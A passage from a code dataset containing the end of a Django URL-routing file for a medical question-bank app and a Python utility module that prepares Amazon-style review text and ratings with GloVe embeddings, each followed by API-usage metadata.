name='activity-assign-previous'),\n url(r'^question/', include(question_urls))\n]\n\nactivity_urls = [\n url(r'^$', activity.MyActivitiesView.as_view(), name='activity-mine'),\n url(r'^(?P\\d+)/', include(specific_activity_urls)),\n]\n\nquiz_attempt_urls = [\n url(r\"^questions/$\", quiz.QuizAttemptQuestionsView.as_view(), name=\"quiz-attempt-questions\"),\n url(r\"^submit/$\", quiz.SubmitAnswerView.as_view(), name=\"quiz-attempt-submit\"),\n url(r\"^submit/all/$\", quiz.SubmitAllAnswersView.as_view(), name=\"quiz-attempt-submit-all\"),\n url(r\"^report/$\", quiz.QuizAttemptReport.as_view(), name=\"quiz-attempt-report\"),\n url(r'^start/$', quiz.ResumeAttemptView.as_view(), name=\"quiz-attempt-start\"),\n url(r\"^resume/$\", quiz.ResumeAttemptView.as_view(), name=\"quiz-attempt-resume\"),\n]\n\nspecific_quiz_specification_urls = [\n url(r\"^$\", quiz.QuizSpecificationView.as_view(), name=\"quiz-specification-view\"),\n url(r\"^edit/$\", quiz.UpdateQuizSpecificationView.as_view(), name=\"quiz-specification-edit\"),\n url(r\"^questions/add/$\", quiz.AddQuizSpecificationQuestions.as_view(), name=\"quiz-specification-questions-add\"),\n url(r\"^questions/add/confirm/$\", quiz.ConfirmQuizSpecificationQuestions.as_view(), name=\"quiz-specification-questions-add-confirm\"),\n]\n\nquiz_specification_urls = [\n url(r\"^new/$\", quiz.NewQuizSpecificationView.as_view(), name=\"quiz-specification-new\"),\n url(r'^(?P[a-z]+)/', include(specific_quiz_specification_urls)),\n]\n\nquiz_urls = [\n url(r'^$', quiz.QuizDashboard.as_view(), name='quiz-home'),\n url(r'^history/$', quiz.QuizHistory.as_view(), name='quiz-history'),\n url(r'^choose/$', quiz.QuizView.as_view(), name='quiz-choose'),\n url(r'^attempt/(?P[a-z]+)/', include(quiz_attempt_urls)),\n url(r'^specification/', include(quiz_specification_urls)),\n url(r'^admin/$', quiz.QuizAdminView.as_view(), name=\"quiz-admin\"),\n url(r'^new/$', quiz.NewQuizView.as_view(), name=\"new-quiz\")\n]\n\n\nurlpatterns = [\n url(r'^$', general.DashboardView.as_view(), name='dashboard'),\n url(r'^block/', include(block_urls)),\n url(r'^admin/', include(admin_urls)),\n url(r'^activity/', include(activity_urls)),\n url(r'^quiz/', include(quiz_urls)),\n url(r'^guide/$', question.QuestionGuide.as_view(), name='question-guide'),\n]\n", "repo_name": "McHogardty/MedBank", "sub_path": "questions/urls.py", "file_name": "urls.py", "file_ext": "py", "file_size_in_byte": 6812, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "django.conf.urls.url", "line_number": 14, "usage_type": "call"}, {"api_name": "views.block.EditBlock.as_view", "line_number": 14, "usage_type": "call"}, {"api_name": "views.block.EditBlock", "line_number": 14, "usage_type": "attribute"}, {"api_name": "views.block", "line_number": 14, "usage_type": "name"}, {"api_name": "django.conf.urls.url", "line_number": 15, "usage_type": "call"}, {"api_name": "views.block.BlockActivitiesView.as_view", "line_number": 15, "usage_type": "call"}, {"api_name": "views.block.BlockActivitiesView", "line_number": 15, "usage_type": "attribute"}, {"api_name": "views.block", "line_number": 15, "usage_type": "name"}, {"api_name": "django.conf.urls.url", "line_number": 16, "usage_type": "call"}, {"api_name": "views.block.DownloadView.as_view", "line_number": 16, "usage_type": "call"}, {"api_name": "views.block.DownloadView", "line_number": 16, "usage_type": "attribute"}, {"api_name": "views.block", "line_number": 16, "usage_type": "name"}, {"api_name": "django.conf.urls.url", "line_number": 17, "usage_type": "call"}, {"api_name": "views.block.ConfirmUploadForTeachingBlock.as_view", "line_number": 17, "usage_type": "call"}, {"api_name": "views.block.ConfirmUploadForTeachingBlock", "line_number": 17, "usage_type": "attribute"}, {"api_name": "views.block", "line_number": 17, "usage_type": "name"}, {"api_name": "django.conf.urls.url", "line_number": 18, "usage_type": "call"}, {"api_name": "views.block.UploadForTeachingBlock.as_view", "line_number": 18, "usage_type": "call"}, {"api_name": "views.block.UploadForTeachingBlock", "line_number": 18, "usage_type": "attribute"}, {"api_name": "views.block", "line_number": 18, "usage_type": "name"}, {"api_name": "django.conf.urls.url", "line_number": 19, "usage_type": "call"}, {"api_name": "views.block.StartUploadForTeachingBlock.as_view", "line_number": 19, "usage_type": "call"}, {"api_name": "views.block.StartUploadForTeachingBlock", "line_number": 19, "usage_type": "attribute"}, {"api_name": "views.block", "line_number": 19, "usage_type": "name"}, {"api_name": "django.conf.urls.url", "line_number": 23, "usage_type": "call"}, {"api_name": "views.block.CreateQuestionWritingPeriod.as_view", "line_number": 23, "usage_type": "call"}, {"api_name": "views.block.CreateQuestionWritingPeriod", "line_number": 23, "usage_type": "attribute"}, {"api_name": "views.block", "line_number": 23, "usage_type": "name"}, {"api_name": "django.conf.urls.url", "line_number": 24, "usage_type": "call"}, {"api_name": "views.block.DeleteQuestionWritingPeriod.as_view", "line_number": 24, "usage_type": "call"}, {"api_name": "views.block.DeleteQuestionWritingPeriod", "line_number": 24, "usage_type": "attribute"}, {"api_name": "views.block", "line_number": 24, "usage_type": "name"}, {"api_name": "django.conf.urls.url", "line_number": 25, "usage_type": "call"}, {"api_name": "views.block.EditQuestionWritingPeriod.as_view", "line_number": 25, "usage_type": "call"}, {"api_name": "views.block.EditQuestionWritingPeriod", "line_number": 25, "usage_type": "attribute"}, {"api_name": "views.block", "line_number": 25, "usage_type": "name"}, {"api_name": "django.conf.urls.url", "line_number": 26, "usage_type": "call"}, {"api_name": "views.block.StartUploadForWritingPeriod.as_view", "line_number": 26, "usage_type": "call"}, {"api_name": "views.block.StartUploadForWritingPeriod", "line_number": 26, "usage_type": "attribute"}, {"api_name": "views.block", "line_number": 26, "usage_type": "name"}, {"api_name": "django.conf.urls.url", "line_number": 27, "usage_type": "call"}, {"api_name": "views.block.ConfirmUploadForWritingPeriod.as_view", "line_number": 27, "usage_type": "call"}, {"api_name": "views.block.ConfirmUploadForWritingPeriod", "line_number": 27, "usage_type": "attribute"}, {"api_name": "views.block", "line_number": 27, "usage_type": "name"}, {"api_name": "django.conf.urls.url", "line_number": 28, "usage_type": "call"}, {"api_name": "views.block.UploadForWritingPeriod.as_view", "line_number": 28, "usage_type": "call"}, {"api_name": "views.block.UploadForWritingPeriod", "line_number": 28, "usage_type": "attribute"}, {"api_name": "views.block", "line_number": 28, "usage_type": "name"}, {"api_name": "django.conf.urls.url", "line_number": 33, "usage_type": "call"}, {"api_name": "django.conf.urls.include", "line_number": 33, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 34, "usage_type": "call"}, {"api_name": "views.admin.BlockAdminView.as_view", "line_number": 34, "usage_type": "call"}, {"api_name": "views.admin.BlockAdminView", "line_number": 34, "usage_type": "attribute"}, {"api_name": "views.admin", "line_number": 34, "usage_type": "name"}, {"api_name": "django.conf.urls.url", "line_number": 35, "usage_type": "call"}, {"api_name": "views.block.NewBlockYear.as_view", "line_number": 35, "usage_type": "call"}, {"api_name": "views.block.NewBlockYear", "line_number": 35, "usage_type": "attribute"}, {"api_name": "views.block", "line_number": 35, "usage_type": "name"}, {"api_name": "django.conf.urls.url", "line_number": 36, "usage_type": "call"}, {"api_name": "django.conf.urls.include", "line_number": 36, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 37, "usage_type": "call"}, {"api_name": "views.block.ChangeAdminYear.as_view", "line_number": 37, "usage_type": "call"}, {"api_name": "views.block.ChangeAdminYear", "line_number": 37, "usage_type": "attribute"}, {"api_name": "views.block", "line_number": 37, "usage_type": "name"}, {"api_name": "django.conf.urls.url", "line_number": 41, "usage_type": "call"}, {"api_name": "views.block.NewBlock.as_view", "line_number": 41, "usage_type": "call"}, {"api_name": "views.block.NewBlock", "line_number": 41, "usage_type": "attribute"}, {"api_name": "views.block", "line_number": 41, "usage_type": "name"}, {"api_name": "django.conf.urls.url", "line_number": 42, "usage_type": "call"}, {"api_name": "views.block.OpenBlocksView.as_view", "line_number": 42, "usage_type": "call"}, {"api_name": "views.block.OpenBlocksView", "line_number": 42, "usage_type": "attribute"}, {"api_name": "views.block", "line_number": 42, "usage_type": "name"}, {"api_name": "django.conf.urls.url", "line_number": 43, "usage_type": "call"}, {"api_name": "views.block.VisibleBlocksView.as_view", "line_number": 43, "usage_type": "call"}, {"api_name": "views.block.VisibleBlocksView", "line_number": 43, "usage_type": "attribute"}, {"api_name": "views.block", "line_number": 43, "usage_type": "name"}, {"api_name": "django.conf.urls.url", "line_number": 44, "usage_type": "call"}, {"api_name": "django.conf.urls.include", "line_number": 44, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 48, "usage_type": "call"}, {"api_name": "views.admin.ViewStudent.as_view", "line_number": 48, "usage_type": "call"}, {"api_name": "views.admin.ViewStudent", "line_number": 48, "usage_type": "attribute"}, {"api_name": "views.admin", "line_number": 48, "usage_type": "name"}, {"api_name": "django.conf.urls.url", "line_number": 52, "usage_type": "call"}, {"api_name": "views.admin.StudentLookup.as_view", "line_number": 52, "usage_type": "call"}, {"api_name": "views.admin.StudentLookup", "line_number": 52, "usage_type": "attribute"}, {"api_name": "views.admin", "line_number": 52, "usage_type": "name"}, {"api_name": "django.conf.urls.url", "line_number": 53, "usage_type": "call"}, {"api_name": "django.conf.urls.include", "line_number": 53, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 57, "usage_type": "call"}, {"api_name": "views.admin.AdminView.as_view", "line_number": 57, "usage_type": "call"}, {"api_name": "views.admin.AdminView", "line_number": 57, "usage_type": "attribute"}, {"api_name": "views.admin", "line_number": 57, "usage_type": "name"}, {"api_name": "django.conf.urls.url", "line_number": 58, "usage_type": "call"}, {"api_name": "views.general.EmailView.as_view", "line_number": 58, "usage_type": "call"}, {"api_name": "views.general.EmailView", "line_number": 58, "usage_type": "attribute"}, {"api_name": "views.general", "line_number": 58, "usage_type": "name"}, {"api_name": "django.conf.urls.url", "line_number": 59, "usage_type": "call"}, {"api_name": "views.general.DashboardAdminView.as_view", "line_number": 59, "usage_type": "call"}, {"api_name": "views.general.DashboardAdminView", "line_number": 59, "usage_type": "attribute"}, {"api_name": "views.general", "line_number": 59, "usage_type": "name"}, {"api_name": "django.conf.urls.url", "line_number": 60, "usage_type": "call"}, {"api_name": "views.admin.CreateMissingSettingsView.as_view", "line_number": 60, "usage_type": "call"}, {"api_name": "views.admin.CreateMissingSettingsView", "line_number": 60, "usage_type": "attribute"}, {"api_name": "views.admin", "line_number": 60, "usage_type": "name"}, {"api_name": "django.conf.urls.url", "line_number": 61, "usage_type": "call"}, {"api_name": "views.admin.SettingView.as_view", "line_number": 61, "usage_type": "call"}, {"api_name": "views.admin.SettingView", "line_number": 61, "usage_type": "attribute"}, {"api_name": "views.admin", "line_number": 61, "usage_type": "name"}, {"api_name": "django.conf.urls.url", "line_number": 62, "usage_type": "call"}, {"api_name": "views.admin.EditSettingView.as_view", "line_number": 62, "usage_type": "call"}, {"api_name": "views.admin.EditSettingView", "line_number": 62, "usage_type": "attribute"}, {"api_name": "views.admin", "line_number": 62, "usage_type": "name"}, {"api_name": "django.conf.urls.url", "line_number": 63, "usage_type": "call"}, {"api_name": "django.conf.urls.include", "line_number": 63, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 67, "usage_type": "call"}, {"api_name": "views.question.AddComment.as_view", "line_number": 67, "usage_type": "call"}, {"api_name": "views.question.AddComment", "line_number": 67, "usage_type": "attribute"}, {"api_name": "views.question", "line_number": 67, "usage_type": "name"}, {"api_name": "django.conf.urls.url", "line_number": 68, "usage_type": "call"}, {"api_name": "views.question.AddComment.as_view", "line_number": 68, "usage_type": "call"}, {"api_name": "views.question.AddComment", "line_number": 68, "usage_type": "attribute"}, {"api_name": "views.question", "line_number": 68, "usage_type": "name"}, {"api_name": "django.conf.urls.url", "line_number": 72, "usage_type": "call"}, {"api_name": "views.question.ViewQuestion.as_view", "line_number": 72, "usage_type": "call"}, {"api_name": "views.question.ViewQuestion", "line_number": 72, "usage_type": "attribute"}, {"api_name": "views.question", "line_number": 72, "usage_type": "name"}, {"api_name": "django.conf.urls.url", "line_number": 73, "usage_type": "call"}, {"api_name": "views.question.UpdateQuestion.as_view", "line_number": 73, "usage_type": "call"}, {"api_name": "views.question.UpdateQuestion", "line_number": 73, "usage_type": "attribute"}, {"api_name": "views.question", "line_number": 73, "usage_type": "name"}, {"api_name": "django.conf.urls.url", "line_number": 74, "usage_type": "call"}, {"api_name": "views.question.QuestionAttributes.as_view", "line_number": 74, "usage_type": "call"}, {"api_name": "views.question.QuestionAttributes", "line_number": 74, "usage_type": "attribute"}, {"api_name": "views.question", "line_number": 74, "usage_type": "name"}, {"api_name": "django.conf.urls.url", "line_number": 75, "usage_type": "call"}, {"api_name": "views.question.ViewPreviousVersions.as_view", "line_number": 75, "usage_type": "call"}, {"api_name": "views.question.ViewPreviousVersions", "line_number": 75, "usage_type": "attribute"}, {"api_name": "views.question", "line_number": 75, "usage_type": "name"}, {"api_name": "django.conf.urls.url", "line_number": 76, "usage_type": "call"}, {"api_name": "django.conf.urls.include", "line_number": 76, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 80, "usage_type": "call"}, {"api_name": "views.question.NewQuestion.as_view", "line_number": 80, "usage_type": "call"}, {"api_name": "views.question.NewQuestion", "line_number": 80, "usage_type": "attribute"}, {"api_name": "views.question", "line_number": 80, "usage_type": "name"}, {"api_name": "django.conf.urls.url", "line_number": 81, "usage_type": "call"}, {"api_name": "django.conf.urls.include", "line_number": 81, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 85, "usage_type": "call"}, {"api_name": "views.activity.ViewActivity.as_view", "line_number": 85, "usage_type": "call"}, {"api_name": "views.activity.ViewActivity", "line_number": 85, "usage_type": "attribute"}, {"api_name": "views.activity", "line_number": 85, "usage_type": "name"}, {"api_name": "django.conf.urls.url", "line_number": 86, "usage_type": "call"}, {"api_name": "views.activity.SignupView.as_view", "line_number": 86, "usage_type": "call"}, {"api_name": "views.activity.SignupView", "line_number": 86, "usage_type": "attribute"}, {"api_name": "views.activity", "line_number": 86, "usage_type": "name"}, {"api_name": "django.conf.urls.url", "line_number": 87, "usage_type": "call"}, {"api_name": "views.activity.UnassignView.as_view", "line_number": 87, "usage_type": "call"}, {"api_name": "views.activity.UnassignView", "line_number": 87, "usage_type": "attribute"}, {"api_name": "views.activity", "line_number": 87, "usage_type": "name"}, {"api_name": "django.conf.urls.url", "line_number": 88, "usage_type": "call"}, {"api_name": "views.activity.AssignStudent.as_view", "line_number": 88, "usage_type": "call"}, {"api_name": "views.activity.AssignStudent", "line_number": 88, "usage_type": "attribute"}, {"api_name": "views.activity", "line_number": 88, "usage_type": "name"}, {"api_name": "django.conf.urls.url", "line_number": 89, "usage_type": "call"}, {"api_name": "views.activity.AssignPreviousActivity.as_view", "line_number": 89, "usage_type": "call"}, {"api_name": "views.activity.AssignPreviousActivity", "line_number": 89, "usage_type": "attribute"}, {"api_name": "views.activity", "line_number": 89, "usage_type": "name"}, {"api_name": "django.conf.urls.url", "line_number": 90, "usage_type": "call"}, {"api_name": "django.conf.urls.include", "line_number": 90, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 94, "usage_type": "call"}, {"api_name": "views.activity.MyActivitiesView.as_view", "line_number": 94, "usage_type": "call"}, {"api_name": "views.activity.MyActivitiesView", "line_number": 94, "usage_type": "attribute"}, {"api_name": "views.activity", "line_number": 94, "usage_type": "name"}, {"api_name": "django.conf.urls.url", "line_number": 95, "usage_type": "call"}, {"api_name": "django.conf.urls.include", "line_number": 95, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 99, "usage_type": "call"}, {"api_name": "views.quiz.QuizAttemptQuestionsView.as_view", "line_number": 99, "usage_type": "call"}, {"api_name": "views.quiz.QuizAttemptQuestionsView", "line_number": 99, "usage_type": "attribute"}, {"api_name": "views.quiz", "line_number": 99, "usage_type": "name"}, {"api_name": "django.conf.urls.url", "line_number": 100, "usage_type": "call"}, {"api_name": "views.quiz.SubmitAnswerView.as_view", "line_number": 100, "usage_type": "call"}, {"api_name": "views.quiz.SubmitAnswerView", "line_number": 100, "usage_type": "attribute"}, {"api_name": "views.quiz", "line_number": 100, "usage_type": "name"}, {"api_name": "django.conf.urls.url", "line_number": 101, "usage_type": "call"}, {"api_name": "views.quiz.SubmitAllAnswersView.as_view", "line_number": 101, "usage_type": "call"}, {"api_name": "views.quiz.SubmitAllAnswersView", "line_number": 101, "usage_type": "attribute"}, {"api_name": "views.quiz", "line_number": 101, "usage_type": "name"}, {"api_name": "django.conf.urls.url", "line_number": 102, "usage_type": "call"}, {"api_name": "views.quiz.QuizAttemptReport.as_view", "line_number": 102, "usage_type": "call"}, {"api_name": "views.quiz.QuizAttemptReport", "line_number": 102, "usage_type": "attribute"}, {"api_name": "views.quiz", "line_number": 102, "usage_type": "name"}, {"api_name": "django.conf.urls.url", "line_number": 103, "usage_type": "call"}, {"api_name": "views.quiz.ResumeAttemptView.as_view", "line_number": 103, "usage_type": "call"}, {"api_name": "views.quiz.ResumeAttemptView", "line_number": 103, "usage_type": "attribute"}, {"api_name": "views.quiz", "line_number": 103, "usage_type": "name"}, {"api_name": "django.conf.urls.url", "line_number": 104, "usage_type": "call"}, {"api_name": "views.quiz.ResumeAttemptView.as_view", "line_number": 104, "usage_type": "call"}, {"api_name": "views.quiz.ResumeAttemptView", "line_number": 104, "usage_type": "attribute"}, {"api_name": "views.quiz", "line_number": 104, "usage_type": "name"}, {"api_name": "django.conf.urls.url", "line_number": 108, "usage_type": "call"}, {"api_name": "views.quiz.QuizSpecificationView.as_view", "line_number": 108, "usage_type": "call"}, {"api_name": "views.quiz.QuizSpecificationView", "line_number": 108, "usage_type": "attribute"}, {"api_name": "views.quiz", "line_number": 108, "usage_type": "name"}, {"api_name": "django.conf.urls.url", "line_number": 109, "usage_type": "call"}, {"api_name": "views.quiz.UpdateQuizSpecificationView.as_view", "line_number": 109, "usage_type": "call"}, {"api_name": "views.quiz.UpdateQuizSpecificationView", "line_number": 109, "usage_type": "attribute"}, {"api_name": "views.quiz", "line_number": 109, "usage_type": "name"}, {"api_name": "django.conf.urls.url", "line_number": 110, "usage_type": "call"}, {"api_name": "views.quiz.AddQuizSpecificationQuestions.as_view", "line_number": 110, "usage_type": "call"}, {"api_name": "views.quiz.AddQuizSpecificationQuestions", "line_number": 110, "usage_type": "attribute"}, {"api_name": "views.quiz", "line_number": 110, "usage_type": "name"}, {"api_name": "django.conf.urls.url", "line_number": 111, "usage_type": "call"}, {"api_name": "views.quiz.ConfirmQuizSpecificationQuestions.as_view", "line_number": 111, "usage_type": "call"}, {"api_name": "views.quiz.ConfirmQuizSpecificationQuestions", "line_number": 111, "usage_type": "attribute"}, {"api_name": "views.quiz", "line_number": 111, "usage_type": "name"}, {"api_name": "django.conf.urls.url", "line_number": 115, "usage_type": "call"}, {"api_name": "views.quiz.NewQuizSpecificationView.as_view", "line_number": 115, "usage_type": "call"}, {"api_name": "views.quiz.NewQuizSpecificationView", "line_number": 115, "usage_type": "attribute"}, {"api_name": "views.quiz", "line_number": 115, "usage_type": "name"}, {"api_name": "django.conf.urls.url", "line_number": 116, "usage_type": "call"}, {"api_name": "django.conf.urls.include", "line_number": 116, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 120, "usage_type": "call"}, {"api_name": "views.quiz.QuizDashboard.as_view", "line_number": 120, "usage_type": "call"}, {"api_name": "views.quiz.QuizDashboard", "line_number": 120, "usage_type": "attribute"}, {"api_name": "views.quiz", "line_number": 120, "usage_type": "name"}, {"api_name": "django.conf.urls.url", "line_number": 121, "usage_type": "call"}, {"api_name": "views.quiz.QuizHistory.as_view", "line_number": 121, "usage_type": "call"}, {"api_name": "views.quiz.QuizHistory", "line_number": 121, "usage_type": "attribute"}, {"api_name": "views.quiz", "line_number": 121, "usage_type": "name"}, {"api_name": "django.conf.urls.url", "line_number": 122, "usage_type": "call"}, {"api_name": "views.quiz.QuizView.as_view", "line_number": 122, "usage_type": "call"}, {"api_name": "views.quiz.QuizView", "line_number": 122, "usage_type": "attribute"}, {"api_name": "views.quiz", "line_number": 122, "usage_type": "name"}, {"api_name": "django.conf.urls.url", "line_number": 123, "usage_type": "call"}, {"api_name": "django.conf.urls.include", "line_number": 123, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 124, "usage_type": "call"}, {"api_name": "django.conf.urls.include", "line_number": 124, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 125, "usage_type": "call"}, {"api_name": "views.quiz.QuizAdminView.as_view", "line_number": 125, "usage_type": "call"}, {"api_name": "views.quiz.QuizAdminView", "line_number": 125, "usage_type": "attribute"}, {"api_name": "views.quiz", "line_number": 125, "usage_type": "name"}, {"api_name": "django.conf.urls.url", "line_number": 126, "usage_type": "call"}, {"api_name": "views.quiz.NewQuizView.as_view", "line_number": 126, "usage_type": "call"}, {"api_name": "views.quiz.NewQuizView", "line_number": 126, "usage_type": "attribute"}, {"api_name": "views.quiz", "line_number": 126, "usage_type": "name"}, {"api_name": "django.conf.urls.url", "line_number": 131, "usage_type": "call"}, {"api_name": "views.general.DashboardView.as_view", "line_number": 131, "usage_type": "call"}, {"api_name": "views.general.DashboardView", "line_number": 131, "usage_type": "attribute"}, {"api_name": "views.general", "line_number": 131, "usage_type": "name"}, {"api_name": "django.conf.urls.url", "line_number": 132, "usage_type": "call"}, {"api_name": "django.conf.urls.include", "line_number": 132, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 133, "usage_type": "call"}, {"api_name": "django.conf.urls.include", "line_number": 133, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 134, "usage_type": "call"}, {"api_name": "django.conf.urls.include", "line_number": 134, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 135, "usage_type": "call"}, {"api_name": "django.conf.urls.include", "line_number": 135, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 136, "usage_type": "call"}, {"api_name": "views.question.QuestionGuide.as_view", "line_number": 136, "usage_type": "call"}, {"api_name": "views.question.QuestionGuide", "line_number": 136, "usage_type": "attribute"}, {"api_name": "views.question", "line_number": 136, "usage_type": "name"}]} +{"seq_id": "10075126194", "text": "import sys\nimport json\nimport numpy as np\nimport pickle\nfrom collections import defaultdict\nfrom densesubgraphfinder import DenseSubgraphFinder\nfrom sklearn.feature_extraction import DictVectorizer\n\nfrom keras.preprocessing.text import text_to_word_sequence\n\ndef e(v, d=2):\n\treturn np.matrix.round(v, d)\n\t\ndef clean(text):\n\treturn text_to_word_sequence(text,\n filters='!\"#$%&()*+,-./:;<=>?@[\\\\]^_`{|}~\\t\\n',\n lower=True,\n split=\" \")\n\ndef seq_2_matrix(sequence, embedding_map):\n\tm = []\n\tfor word in sequence:\n\t\temb = embedding_map.get(word)\n\t\tif emb is not None:\n\t\t\tm.append(emb)\n\treturn np.array(m)\n\ndef matrix_2_avg(emb_matrix):\n\treturn np.mean(emb_matrix, 0)\n\ndef initEmbeddingMap(fileName='embeddingDict.p'):\n\ttry:\n\t\tprint('loading saved embedding dictionary')\n\t\tembedding_map = pickle.load(open(fileName,'rb'))\n\texcept (OSError, IOError) as e:\n\t\tprint('constructing embedding dictionary')\n\t\tembedding_map = {}\n\t\twith open('glove.6B.50d.txt') as glove:\n\t\t\tfor line in glove:\n\t\t\t values = line.split()\n\t\t\t word = values[0]\n\t\t\t value = np.asarray(values[1:], dtype='float32')\n\t\t\t embedding_map[word] = value\n\t\tpickle.dump(embedding_map, open(fileName,'wb'))\n\treturn embedding_map\n\nclass SparcityTarget():\n\tdef __init__(self, n_reviews):\n\t\tself.n_reviews = n_reviews\n\t\tself.dsf = DenseSubgraphFinder()\n\tdef update(self, user, item):\n\t\tself.dsf.addEdge(user, item)\n\tdef filter(self, rawInputData, rawOutputData):\n\t\tself.dsf.purge(self.n_reviews)\n\t\tfilteredInput = []\n\t\tfilteredOutput = []\n\t\tfor i in range(len(rawInputData)):\n\t\t\tin_datum = rawInputData[i]\n\t\t\tif in_datum['u'] in self.dsf.nodes and in_datum['asin'] in self.dsf.nodes:\n\t\t\t\tfilteredInput.append(in_datum)\n\t\t\t\tfilteredOutput.append(rawOutputData[i])\n\t\treturn filteredInput, filteredOutput\n\tdef __str__(self):\n\t\treturn str(self.dsf)\n\ndef initRawData(input_file, maxlines = sys.maxsize, sparcity_target = None, fileName='rawData.p', save=True):\n\ttry:\n\t\trawInputData, rawOutputData = pickle.load(open(fileName,'rb'))\n\t\tprint('loaded saved raw data')\n\texcept (OSError, IOError) as e:\n\t\tprint('initializing raw data')\n\t\trawInputData = []\n\t\trawOutputData = []\n\t\twith open(input_file,'r') as f:\n\t\t\tfor i in range(maxlines):\n\t\t\t\tline = f.readline()\n\t\t\t\tif len(line) < 4:\n\t\t\t\t\tbreak\n\t\t\t\tlineObj = json.loads(line)\n\t\t\t\tuser = lineObj['reviewerID']\n\t\t\t\titem = lineObj['asin']\n\t\t\t\trawInputDataObj = {'u':user, 'asin':item}\n\t\t\t\trawOutputDataObj = clean(lineObj['reviewText'])\n\t\t\t\trawInputData.append(rawInputDataObj)\n\t\t\t\trawOutputData.append(rawOutputDataObj)\n\t\t\t\tif sparcity_target is not None:\n\t\t\t\t\tsparcity_target.update(user, item)\n\t\tif sparcity_target is not None:\n\t\t\trawInputData, rawOutputData = sparcity_target.filter(rawInputData, rawOutputData)\n\t\tif save:\n\t\t\tpickle.dump((rawInputData, rawOutputData), open(fileName,'wb'))\n\treturn rawInputData, rawOutputData\n\ndef getSetFromData(key, data):\n\tresult = set()\n\tfor datum in data:\n\t\tresult.add(datum.get(key))\n\treturn result\n\ndef getSparcityInfo(inputData):\n\tusers = {}\n\titems = {}\n\tfor datum in inputData:\n\t\tu = datum['u']\n\t\ti = datum['asin']\n\t\tusers.setdefault(u, []).append(i)\n\t\titems.setdefault(i, []).append(u)\n\treturn (users, items)\n\ndef initVecData(rawInputData, rawOutputData, embedding_map, fileName='vecData.p', save=True):\n\ttry:\n\t\tvecInputData, vecOutputData = pickle.load(open(fileName,'rb'))\n\t\tprint('loaded saved vectorized data')\n\texcept (OSError, IOError) as e:\n\t\tprint('initializing vectorized data')\n\t\tdictVect = DictVectorizer()\n\t\tvecInputData = dictVect.fit_transform(rawInputData).toarray()\n\t\tvecOutputData = [matrix_2_avg(seq_2_matrix(review, embedding_map)) for review in rawOutputData]\n\t\tif save:\n\t\t\tpickle.dump((vecInputData, vecOutputData), open(fileName,'wb'))\n\treturn vecInputData, vecOutputData\n\ndef initMatInputData(rawInputData, rawOutputData, embedding_map, fileName='matData.p', save=True, extra_info={}):\n\ttry:\n\t\tmatUserInputData, matItemInputData = pickle.load(open(fileName,'rb'))\n\t\tprint('loaded saved matrix data')\n\texcept (OSError, IOError) as e:\n\t\tprint('initializing matrix data')\n\t\tif len(rawInputData) != len(rawOutputData):\n\t\t\traise ValueError(\"Need same size of input and output\")\n\t\tusers = {}\n\t\titems = {}\n\t\tdictVect = DictVectorizer()\n\t\tfor i in range(len(rawInputData)):\n\t\t\tvecOutput = seq_2_matrix(rawOutputData[i], embedding_map)\n\t\t\trawInput = rawInputData[i]\n\t\t\tuser = rawInput['u']\n\t\t\titem = rawInput['asin']\n\t\t\tusers.setdefault(user, []).append(vecOutput)\n\t\t\titems.setdefault(item, []).append(vecOutput)\n\t\tmatUserInputData = []\n\t\tmatItemInputData = []\n\t\tusers = {k: np.vstack(v) for k, v in users.items()}\n\t\titems = {k: np.vstack(v) for k, v in items.items()}\n\t\textra_info['user_seq_sizes'] = [m.shape[0] for m in users.values()]\n\t\textra_info['item_seq_sizes'] = [m.shape[0] for m in items.values()]\n\t\tfor i in range(len(rawInputData)):\n\t\t\trawInput = rawInputData[i]\n\t\t\tuser = rawInput['u']\n\t\t\titem = rawInput['asin']\n\t\t\tmatUserInputData.append(users.get(user))\n\t\t\tmatItemInputData.append(items.get(item))\n\t\tif save:\n\t\t\tpickle.dump((matUserInputData, matItemInputData), open(fileName,'wb'))\n\treturn matUserInputData, matItemInputData\n\ndef toKey(user, item):\n\treturn (user, item)\n\ndef initRatingsOutputData(rawInputData, input_file, maxlines = sys.maxsize, fileName='ratingsData.p', save=True):\n\ttry:\n\t\tratingsData = pickle.load(open(fileName,'rb'))\n\t\tprint('loaded saved ratings data')\n\texcept (OSError, IOError) as e:\n\t\tratingsData = []\n\t\tuserItemDict = {}\n\t\tfor i in range(len(rawInputData)):\n\t\t\trawInput = rawInputData[i]\n\t\t\tuserItem = toKey(rawInput['u'], rawInput['asin'])\n\t\t\tuserItemDict[userItem] = i\n\t\t\tratingsData.append(None) # check later to make sure no Nones left\n\t\twith open(input_file,'r') as f:\n\t\t\tfor i in range(maxlines):\n\t\t\t\tline = f.readline()\n\t\t\t\tif len(line) < 4:\n\t\t\t\t\tbreak\n\t\t\t\tterms = line.split(',')\n\t\t\t\tuser = terms[0]\n\t\t\t\titem = terms[1]\n\t\t\t\trating = float(terms[2]) / 2.5 - 1.0\n\t\t\t\ti = userItemDict.get(toKey(user, item))\n\t\t\t\tif i is not None:\n\t\t\t\t\tratingsData[i] = rating\n\t\t\tfailure = None in ratingsData\n\t\t\tif failure:\n\t\t\t\traise ValueError(str(len([r for r in ratingsData if r is None])) + \" reviews did not have corresponding rating.\")\n\t\tif save:\n\t\t\tpickle.dump(ratingsData, open(fileName,'wb'))\n\treturn ratingsData\n\n\n\n", "repo_name": "Praznat/uifud", "sub_path": "utils.py", "file_name": "utils.py", "file_ext": "py", "file_size_in_byte": 6241, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": 